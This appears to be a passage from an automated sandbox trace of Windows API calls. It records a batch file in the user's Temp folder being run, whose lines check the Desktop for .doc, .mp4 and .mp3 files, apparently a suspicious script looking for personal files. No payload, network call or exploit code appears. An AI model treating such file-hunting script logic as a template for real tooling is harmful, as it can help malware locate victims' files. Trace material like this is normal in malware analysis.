RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.881] GetProcessHeap () returned 0x4e0000 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.882] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.882] GetProcessHeap () returned 0x4e0000 [0037.882] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.882] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.882] GetProcessHeap () returned 0x4e0000 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5880 [0037.882] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.882] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0037.882] GetProcessHeap () returned 0x4e0000 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.882] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58c0 [0037.882] GetProcessHeap () returned 0x4e0000 [0037.882] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58c0) returned 0x16 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b18 [0037.882] GetProcessHeap () returned 0x4e0000 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f58e0 [0037.882] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0037.883] _tell (_FileHandle=3) returned 3830 [0037.884] _close (_FileHandle=3) returned 0 [0037.884] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0037.884] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.884] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.884] GetLastError () returned 0x2 [0037.884] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.884] GetLastError () returned 0x6 [0037.884] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.884] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.884] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.884] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.885] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.885] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.885] SetConsoleInputExeNameW () returned 0x1 [0037.885] GetConsoleOutputCP () returned 0x1b5 [0037.885] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.885] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.885] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.886] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.886] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.886] SetFilePointer (in: hFile=0x74, lDistanceToMove=3830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.886] GetProcessHeap () returned 0x4e0000 [0037.886] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef6 [0037.887] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1737, lpOverlapped=0x0) returned 1 [0037.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0037.887] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0037.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.887] GetFileType (hFile=0x74) returned 0x1 [0037.887] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.887] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0037.887] GetProcessHeap () returned 0x4e0000 [0037.887] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.888] GetProcessHeap () returned 0x4e0000 [0037.888] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.888] _tell (_FileHandle=3) returned 3832 [0037.888] _close (_FileHandle=3) returned 0 [0037.888] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.888] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.888] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.888] SetFilePointer (in: hFile=0x74, lDistanceToMove=3832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0037.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xef8 [0037.889] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1735, lpOverlapped=0x0) returned 1 [0037.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0037.889] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0037.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.889] GetFileType (hFile=0x74) returned 0x1 [0037.889] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.889] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0037.889] GetProcessHeap () returned 0x4e0000 [0037.889] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.889] GetProcessHeap () returned 0x4e0000 [0037.889] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.889] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.889] GetProcessHeap () returned 0x4e0000 [0037.889] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.889] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.890] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0037.890] GetProcessHeap () returned 0x4e0000 [0037.890] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0037.890] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.890] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0037.890] GetProcessHeap () returned 0x4e0000 [0037.890] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0037.890] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.890] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.890] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0037.890] GetProcessHeap () returned 0x4e0000 [0037.890] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.890] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0037.890] GetProcessHeap () returned 0x4e0000 [0037.890] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0037.890] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0037.890] GetProcessHeap () returned 0x4e0000 [0037.890] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0037.890] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0037.891] _tell (_FileHandle=3) returned 3857 [0037.891] _close (_FileHandle=3) returned 0 [0037.891] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0037.891] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.891] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.892] GetLastError () returned 0x2 [0037.892] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.892] GetLastError () returned 0x6 [0037.892] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.892] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.892] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.892] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.892] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.892] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.893] SetConsoleInputExeNameW () returned 0x1 [0037.893] GetConsoleOutputCP () returned 0x1b5 [0037.893] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.893] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.893] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.893] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.893] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.893] SetFilePointer (in: hFile=0x74, lDistanceToMove=3857, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0037.893] GetProcessHeap () returned 0x4e0000 [0037.893] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0037.893] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0037.894] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0037.894] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0037.894] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0037.894] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0037.894] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.894] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0037.894] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.894] GetProcessHeap () returned 0x4e0000 [0037.894] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.894] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf11 [0037.894] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171c, lpOverlapped=0x0) returned 1 [0037.894] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0037.894] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0037.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.895] GetFileType (hFile=0x74) returned 0x1 [0037.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0037.895] GetProcessHeap () returned 0x4e0000 [0037.895] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.895] GetProcessHeap () returned 0x4e0000 [0037.895] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.895] _tell (_FileHandle=3) returned 3859 [0037.895] _close (_FileHandle=3) returned 0 [0037.895] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.895] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.895] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.895] SetFilePointer (in: hFile=0x74, lDistanceToMove=3859, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0037.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf13 [0037.896] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x171a, lpOverlapped=0x0) returned 1 [0037.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.896] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0037.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.896] GetFileType (hFile=0x74) returned 0x1 [0037.896] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.896] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.896] GetProcessHeap () returned 0x4e0000 [0037.896] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.896] GetProcessHeap () returned 0x4e0000 [0037.896] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.896] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.896] GetProcessHeap () returned 0x4e0000 [0037.896] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.896] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.896] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0037.896] GetProcessHeap () returned 0x4e0000 [0037.896] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0037.896] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.897] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0037.897] GetProcessHeap () returned 0x4e0000 [0037.897] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0037.897] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.897] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.897] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0037.897] GetProcessHeap () returned 0x4e0000 [0037.897] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.897] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0037.897] GetProcessHeap () returned 0x4e0000 [0037.897] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0037.897] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0037.897] GetProcessHeap () returned 0x4e0000 [0037.897] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0037.897] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0037.898] _tell (_FileHandle=3) returned 3884 [0037.898] _close (_FileHandle=3) returned 0 [0037.898] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0037.898] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.898] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.899] GetLastError () returned 0x2 [0037.899] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.899] GetLastError () returned 0x6 [0037.899] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.899] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.899] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.899] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.899] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.899] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.900] SetConsoleInputExeNameW () returned 0x1 [0037.900] GetConsoleOutputCP () returned 0x1b5 [0037.900] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.900] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.900] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.900] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.900] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.900] SetFilePointer (in: hFile=0x74, lDistanceToMove=3884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.901] GetProcessHeap () returned 0x4e0000 [0037.901] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.901] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.901] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2c [0037.901] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1701, lpOverlapped=0x0) returned 1 [0037.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0037.902] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0037.902] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.902] GetFileType (hFile=0x74) returned 0x1 [0037.902] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0037.902] GetProcessHeap () returned 0x4e0000 [0037.902] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.902] GetProcessHeap () returned 0x4e0000 [0037.902] HeapFree (in: 